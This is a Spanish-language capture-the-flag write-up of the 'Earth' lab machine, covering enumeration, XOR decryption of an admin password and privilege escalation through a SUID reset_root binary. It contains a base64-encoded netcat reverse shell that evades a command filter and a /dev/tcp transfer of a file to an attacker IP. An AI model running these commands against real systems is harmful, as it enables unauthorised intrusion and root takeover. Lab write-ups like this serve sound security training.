**Informe Profesional sobre la Máquina CTF "Earth"**

**Introducción**

El presente informe tiene como objetivo detallar los resultados y pasos realizados durante el análisis y explotación de la máquina CTF "Earth". Esta actividad se llevó a cabo con el fin de evaluar la seguridad de la máquina y poner a prueba nuestras habilidades en el ámbito de la seguridad informática.

**Resumen de Actividades**

A continuación, se presenta un resumen de las actividades realizadas durante el análisis de la máquina CTF "Earth":

1. **Escaneo de Puertos:**

Se utilizó la herramienta Nmap para identificar los puertos abiertos y los servicios en ejecución en la máquina objetivo.

* 22/tcp open ssh OpenSSH 8.6
* 80/tcp open http Apache httpd 2.4.51
* 443/tcp open ssl/http Apache httpd 2.4.51
* DNS:earth.local, DNS:terratest.earth.local

***Comandos:***

* ***nmap -sS -sV <IP>***
* ***nmap -sC -p22,80,443 <IP>***

1. **Configuración del archivo hosts:**

Se modificó el archivo hosts para asignar nombres de dominio a la dirección IP de la máquina objetivo.

* 192.168.20.36 earth.local terratest.earth.local

***Comandos:***

* ***nano /etc/hosts***

1. **Análisis de Directorios:**

Con Gobuster: Se utilizó la herramienta Gobuster para buscar directorios y archivos ocultos en el sitio web.

* /admin (Status: 301) [Size: 0] [--> /admin/]
* /cgi-bin/ (Status: 403) [Size: 199]

Con Nmap descubrimos un nuevo directorio /robots.txt

***Comandos:***

* ***gobuster dir -u terratest.earth.local -w /usr/share/wordlists/dirb/common.txt***
* ***nmap --script http-enum terratest.earth.local***

1. **Análisis del Directorio /robots.txt:**

Se descubrió un archivo llamado "testingnotes.txt" que contenía información sobre el sistema de mensajería seguro y notas relacionadas.

Testing secure messaging system notes:

\*Using XOR encryption as the algorithm, should be safe as used in RSA.

\*Earth has confirmed they have received our sent messages.

\*testdata.txt was used to test encryption.

\*terra used as username for admin portal.

Todo:

\*How do we send our monthly keys to Earth securely? Or should we change keys weekly?

\*Need to test different key lengths to protect against bruteforce. How long should the key be?

\*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

1. **Análisis del archivo /testdata.txt:**

Se accedió al archivo y se obtuvo información:

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

1. **Descifrado de Mensajes:**

Se utilizó la herramienta CyberChef para descifrar un mensaje encriptado y se obtuvo la clave "earthclimatechangebad4humans".

Se utilizo from to hex y xor, en xor se coloco en key utf8 y como key se coloco el contenido del testdata.txt y como input se coloco el ultimo mensaje que lo encontrábamos en la pagina principal de mensajeria de earth.local

1. **Acceso la Maquina Earth:**

Se encontró un formulario de inicio de sesión en el directorio /admin y se accedió con éxito utilizando las credenciales obtenidas y nos encontramos con un CLI el cual podíamos colocar comandos pero dado que no era posible ejecutar comandos en la página del CLI, se utilizó una técnica de Reverse Shell codificando el comando en base64.

echo "nc 192.168.20.28 1234 -e /bin/bash" | base64

bmMgMTkyLjE2OC4yMC4yOCAxMjM0IC1lIC9iaW4vYmFzaAo=

En la pagina en el cli colocamos

echo "bmMgMTkyLjE2OC4yMC4yOCAxMjM0IC1lIC9iaW4vYmFzaAo=" | base64 -d | bash

y con en nc -lvp 1234 tenemos la revershell

***Comandos:***

* ***echo "nc 192.168.20.28 1234 -e /bin/bash" | base64***
* ***echo "bmMgMTkyLjE2OC4yMC4yOCAxMjM0IC1lIC9iaW4vYmFzaAo=" | base64 -d | bash***
* ***nc -lvp 1234***
* ***python -c 'import pty; pty.spawn("/bin/bash")'***

1. **Privilegios de Root:**

Se identificó el archivo "reset\_root" con permisos especiales y se realizó un proceso para resetear la contraseña de root y obtener acceso privilegiado.

Al tener el archivo reset\_root lo analizamos con el comando ltrace y los resultados fueron:

puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...

) = 38

access("/dev/shm/kHgTFI5G", 0) = -1

access("/dev/shm/Zw7bV9U5", 0) = -1

access("/tmp/kcM0Wewe", 0) = -1

puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

) = 44

+++ exited (status 0) +++

Los directorios en Access los convertimos como archivos en la maquina earth

***Comandos:***

* ***find / -perm -u=s -type f 2>/dev/null***
* ***cat /usr/bin/reset\_root > /dev/tcp/192.168.20.28/3333 pasar el archive a la maquina atacante***
* ***nc -lvp 3333 > reset\_root en la maquina atacante recibir el archivo***
* ***chmod +x reset\_root***
* ***ltrace ./reset\_root***
* ***touch /dev/shm/kHgTFI5G creamos los archivos en earth***
* ***touch /dev/shm/Zw7bV9U5***
* ***touch /tmp/kcM0Wewe***
* ***reset\_root***
* ***su - root***

**Conclusiones**

Durante el análisis de la máquina CTF "Earth", se lograron obtener resultados significativos. A través de una combinación de escaneo de puertos, análisis de directorios, descifrado de mensajes y explotación de vulnerabilidades, se logró acceder a la máquina con privilegios de administrador.

Estos resultados resaltan la importancia de mantener sistemas actualizados, aplicar medidas de seguridad adecuadas y realizar pruebas de penetración de manera regular para identificar posibles brechas en la seguridad. Además, se destaca la necesidad de implementar contraseñas seguras y evitar el uso de algoritmos de cifrado débiles para proteger la información sensible.

**Recomendaciones**

Con base en los hallazgos realizados durante el análisis de la máquina CTF "Earth", se presentan las siguientes recomendaciones:

* Actualizar y parchear regularmente el sistema operativo y los servicios utilizados para evitar la explotación de vulnerabilidades conocidas.
* Implementar políticas de contraseñas seguras y fomentar su uso entre los usuarios.
* Realizar pruebas periódicas de penetración y análisis de vulnerabilidades para identificar y corregir posibles debilidades en el sistema.
* Utilizar algoritmos de cifrado fuertes y actualizados para proteger la información confidencial.
* Capacitar y concientizar a los usuarios sobre las mejores prácticas de seguridad, como la detección de correos electrónicos de phishing y la identificación de enlaces maliciosos.
* Realizar análisis regulares de seguridad para evaluar y fortalecer las medidas de protección existentes.

Estas recomendaciones ayudarán a fortalecer la seguridad del sistema y reducir la exposición a posibles amenazas y ataques cibernéticos.